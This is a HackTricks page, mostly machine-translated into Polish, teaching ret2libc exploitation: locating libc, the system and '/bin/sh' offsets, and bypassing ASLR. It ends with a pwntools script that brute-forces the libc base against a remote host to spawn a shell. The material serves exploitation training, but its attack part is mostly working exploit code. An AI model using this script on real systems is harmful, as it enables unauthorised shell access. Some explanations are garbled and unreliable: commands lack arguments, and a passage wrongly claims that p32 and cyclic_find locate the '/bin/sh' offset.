Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
**Jeśli znalazłeś podatny plik binarny i sądzisz, że możesz go wykorzystać za pomocą Ret2Lib, tutaj znajdziesz kilka podstawowych kroków, które możesz podjąć.** # Jeśli jesteś **wewnątrz** **hosta** ## Możesz znaleźć **adres lib**c ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz to zrobić: ```bash for i in `seq 0 20`; do ldd | grep libc; done ``` ## Uzyskaj przesunięcie funkcji systemowej To uzyskać przesunięcie funkcji systemowej, możemy użyć narzędzia `objdump`. Narzędzie to analizuje plik wykonywalny i wyświetla informacje o sekcjach, symbolach i funkcjach w pliku. Aby uzyskać przesunięcie funkcji systemowej, wykonaj następujące kroki: 1. Uruchom polecenie `objdump -T ` w terminalu, gdzie `` to nazwa pliku wykonywalnego, w którym chcemy znaleźć przesunięcie funkcji systemowej. 2. Przeszukaj wynik polecenia `objdump` w poszukiwaniu funkcji systemowej, której przesunięcie chcemy znaleźć. Możesz to zrobić, szukając nazwy funkcji systemowej, na przykład `system`. 3. Znajdź wiersz, który zawiera nazwę funkcji systemowej i przesunięcie. Przesunięcie będzie znajdować się w kolumnie po prawej stronie. Przykładowy wynik polecenia `objdump -T ` może wyglądać tak: ``` ... 00000000004005e0 g DF .text 0000000000000013 Base system ... ``` W tym przykładzie przesunięcie funkcji systemowej wynosi `00000000004005e0`. ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` To get the offset of "/bin/sh", we can use the `pwn` module in Python. The `pwn` module provides a function called `p32` that converts an integer to a little-endian byte string. We can use this function to convert the address of "/bin/sh" to a byte string and then find its offset in the payload. Here is an example code snippet to calculate the offset: ```python from pwn import * # Address of "/bin/sh" bin_sh_addr = 0x12345678 # Convert the address to a little-endian byte string bin_sh_bytes = p32(bin_sh_addr) # Find the offset of "/bin/sh" in the payload offset = cyclic_find(bin_sh_bytes) print("Offset of \"/bin/sh\":", offset) ``` Replace `0x12345678` with the actual address of "/bin/sh" in your target binary. After running the code, it will print the offset of "/bin/sh" in the payload. ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` ## /proc/\/maps Jeśli proces tworzy **dzieci** za każdym razem, gdy z nim rozmawiasz (serwer sieciowy), spróbuj **odczytać** ten plik (prawdopodobnie będziesz musiał być rootem). Tutaj możesz znaleźć **dokładne miejsce, w którym jest załadowana biblioteka libc** wewnątrz procesu i **gdzie będzie załadowana** dla każdego dziecka procesu. ![](<../../.gitbook/assets/image (95).png>) W tym przypadku jest załadowana pod adresem **0xb75dc000** (Będzie to adres bazowy biblioteki libc) ## Używając gdb-peda Uzyskaj adres funkcji **system**, funkcji **exit** i ciągu znaków **"/bin/sh"** za pomocą gdb-peda: ``` p system p exit find "/bin/sh" ``` # Omijanie ASLR Możesz spróbować bruteforce'ować adres bazowy libc. ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` # Kod ```python from pwn import * c = remote('192.168.85.181',20002) c.recvline() #Banner for off in range(0xb7000000, 0xb8000000, 0x1000): p = "" p += p32(off + 0x0003cb20) #system p += "CCCC" #GARBAGE p += p32(off + 0x001388da) #/bin/sh payload = 'A'*0x20010 + p c.send(payload) c.interactive() #? ```
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.